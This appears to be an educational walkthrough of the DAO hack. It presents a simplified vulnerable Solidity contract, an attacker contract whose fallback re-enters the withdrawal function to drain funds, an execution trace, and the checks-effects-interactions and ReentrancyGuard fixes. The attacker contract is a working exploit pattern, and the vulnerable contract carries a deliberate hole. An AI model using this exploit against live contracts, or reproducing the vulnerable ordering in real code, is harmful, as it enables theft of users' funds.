The DAO Hack and Reentrancy Attack

// Vulnerable code from The DAO contract (simplified)
contract TheDAO {
    // Record the ETH balance deposited by each user
    mapping(address => uint256) public balances;

    // Function for users to withdraw their deposits
    function splitDAO() public {
        // Check the balance of the person calling the function (msg.sender)
        uint256 amount = balances[msg.sender];

        // 1. Balance check: verify there's an amount to withdraw
        require(amount > 0, "No balance");

        // 2. ETH transfer
        // Send ETH to msg.sender (the caller)
        // At this point, if msg.sender is a contract, that contract's fallback/receive function executes
        (bool success,) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // 3. Balance update
        // Before this line executes, the attacker's fallback can call splitDAO() again
        balances[msg.sender] = 0;
    }

    // Function for users to deposit ETH
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
}

// The attacker's malicious contract
contract Attacker {
    TheDAO public dao;                  // Address of The DAO contract to attack
    uint256 public initialDeposit;      // Initial deposit (1 ETH)

    constructor(address _daoAddress) {
        dao = TheDAO(_daoAddress);
        initialDeposit = 1 ether;
    }

    // 1. Function to start the attack
    function attack() external payable {
        require(msg.value >= initialDeposit, "Need at least 1 ETH");

        // Deposit 1 ETH to The DAO
        // Now balances[this contract address] = 1 ETH
        dao.deposit{value: initialDeposit}();

        // Start withdrawal (reentrancy attack begins here)
        // Calling splitDAO() causes The DAO to send ETH to this contract
        dao.splitDAO();
    }

    // 2. Fallback function that automatically executes whenever ETH is received
    // The payable keyword is required to receive ETH
    // When The DAO's msg.sender.call{value: amount}("") executes,
    // ETH is sent to this contract and this fallback function is called automatically
    fallback() external payable {
        // Check if The DAO still has ETH remaining
        if (address(dao).balance >= initialDeposit) {
            // 🔄 Request withdrawal again! (Balance hasn't been set to 0 yet, so we can receive another 1 ETH)
            dao.splitDAO();
            // This process repeats until The DAO's balance is depleted
        }
    }

    // 3. Recover stolen ETH to attacker's account
    function withdraw() external {
        payable(msg.sender).transfer(address(this).balance);
    }
}

The DAO balance: 5 ETH
Attacker balance: 1 ETH

The DAO internal record:
balances[attacker] = 0 ETH

// Attacker executes
dao.deposit{value: 1 ether}();

The DAO balance: 6 ETH
Attacker balance: 0 ETH

The DAO internal record:
balances[attacker] = 1 ETH

// Attacker executes
dao.splitDAO();

// 1. Balance check
uint256 amount = balances[attacker];  // amount = 1 ETH
require(amount > 0);  // ✅ Passes

// 2. ETH transfer (attacker's fallback function executes here!)
(bool success,) = attacker.call{value: 1 ether}("");

// ⚠️ balances[attacker] = 0 has NOT been updated yet!

// Attacker's fallback function executes
fallback() external payable {
    // The DAO still has 5 ETH remaining
    if (address(dao).balance >= 1 ether) {
        dao.splitDAO();  // Call again! (reentrancy)
    }
}

// 1. Balance check
uint256 amount = balances[attacker];  // Still 1 ETH! (not updated)
require(amount > 0);  // ✅ Passes

// 2. ETH transfer (sends another 1 ETH!)
(bool success,) = attacker.call{value: 1 ether}("");

Call Stack:
splitDAO() #1
  → attacker fallback()
    → splitDAO() #2
      → attacker fallback()
        → splitDAO() #3
          → attacker fallback()
            → splitDAO() #4
              → attacker fallback()
                → splitDAO() #5
                  → attacker fallback()
                    → splitDAO() #6 (insufficient balance, exits)

The DAO balance: 0 ETH (completely drained!)
Attacker balance: 6 ETH

The DAO internal record:
balances[attacker] = 1 ETH (never updated!)

function withdraw() public {
    uint256 amount = balances[msg.sender];

    // ✅ Correct order
    require(amount > 0);           // 1. Checks (validation)
    balances[msg.sender] = 0;      // 2. Effects (state change)

    (bool success,) = msg.sender.call{value: amount}("");  // 3. Interactions (external call)
    require(success);
}

function withdraw() public {
    // 1. Checks: Validate conditions
    uint256 amount = balances[msg.sender];
    require(amount > 0, "No balance");

    // 2. Effects: Change state (first!)
    balances[msg.sender] = 0;

    // 3. Interactions: External call (last!)
    (bool success,) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SafeBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance");

        // Thanks to nonReentrant, reentrancy attempts automatically revert
        (bool success,) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        balances[msg.sender] = 0;
    }
}

// OpenZeppelin's ReentrancyGuard internals (simplified version)
abstract contract ReentrancyGuard {
    uint256 private _status;

    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    constructor() {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        // Detect reentrancy attempt
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Mark function as executing
        _status = _ENTERED;

        _;  // Execute actual function

        // Function execution complete
        _status = _NOT_ENTERED;
    }
}